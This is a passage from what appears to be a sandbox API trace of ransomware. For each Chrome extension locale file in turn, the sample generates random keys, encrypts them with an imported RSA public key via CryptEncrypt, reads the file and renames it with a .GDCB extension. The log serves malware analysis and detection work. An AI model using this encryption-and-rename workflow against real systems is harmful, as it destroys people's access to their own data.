Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0257.308] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.314] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.314] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.314] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.319] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.319] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.319] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.321] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790c60) returned 1 [0257.321] CryptGetKeyParam (in: hKey=0x6790c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.321] CryptEncrypt (in: hKey=0x6790c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.321] GetLastError () returned 0x0 [0257.321] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.321] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.323] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790fa0) returned 1 [0257.323] CryptGetKeyParam (in: hKey=0x6790fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.323] CryptEncrypt (in: hKey=0x6790fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.323] GetLastError () returned 0x0 [0257.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.324] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.325] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.330] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10a, lpOverlapped=0x0) returned 1 [0257.339] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.352] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0257.358] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.363] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.363] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.363] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.363] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.368] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.368] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.368] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.368] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.370] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790fe0) returned 1 [0257.370] CryptGetKeyParam (in: hKey=0x6790fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.370] CryptEncrypt (in: hKey=0x6790fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.370] GetLastError () returned 0x0 [0257.370] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.370] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.372] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791020) returned 1 [0257.372] CryptGetKeyParam (in: hKey=0x6791020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.372] CryptEncrypt (in: hKey=0x6791020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.372] GetLastError () returned 0x0 [0257.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.372] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.374] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.377] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.379] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0257.387] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.393] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0257.398] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.403] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.403] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.403] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.408] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.409] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791060) returned 1 [0257.411] CryptGetKeyParam (in: hKey=0x6791060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.411] CryptEncrypt (in: hKey=0x6791060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.411] GetLastError () returned 0x0 [0257.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.411] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.413] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67910a0) returned 1 [0257.413] CryptGetKeyParam (in: hKey=0x67910a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.413] CryptEncrypt (in: hKey=0x67910a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.413] GetLastError () returned 0x0 [0257.413] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.413] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.415] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.420] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xda, lpOverlapped=0x0) returned 1 [0257.428] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0257.440] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.445] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.445] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.449] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.449] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.449] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.449] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.451] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790a20) returned 1 [0257.451] CryptGetKeyParam (in: hKey=0x6790a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.451] CryptEncrypt (in: hKey=0x6790a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.451] GetLastError () returned 0x0 [0257.452] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.452] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.453] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67908e0) returned 1 [0257.453] CryptGetKeyParam (in: hKey=0x67908e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.453] CryptEncrypt (in: hKey=0x67908e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.454] GetLastError () returned 0x0 [0257.454] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.454] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.455] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.458] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.460] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf8, lpOverlapped=0x0) returned 1 [0257.501] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.509] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0257.515] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.521] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.521] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.521] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.525] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.526] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.528] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67914e0) returned 1 [0257.528] CryptGetKeyParam (in: hKey=0x67914e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.528] CryptEncrypt (in: hKey=0x67914e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.528] GetLastError () returned 0x0 [0257.528] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.528] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.530] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791820) returned 1 [0257.530] CryptGetKeyParam (in: hKey=0x6791820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.530] CryptEncrypt (in: hKey=0x6791820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.530] GetLastError () returned 0x0 [0257.530] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.531] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.534] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.536] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd6, lpOverlapped=0x0) returned 1 [0257.545] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.551] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 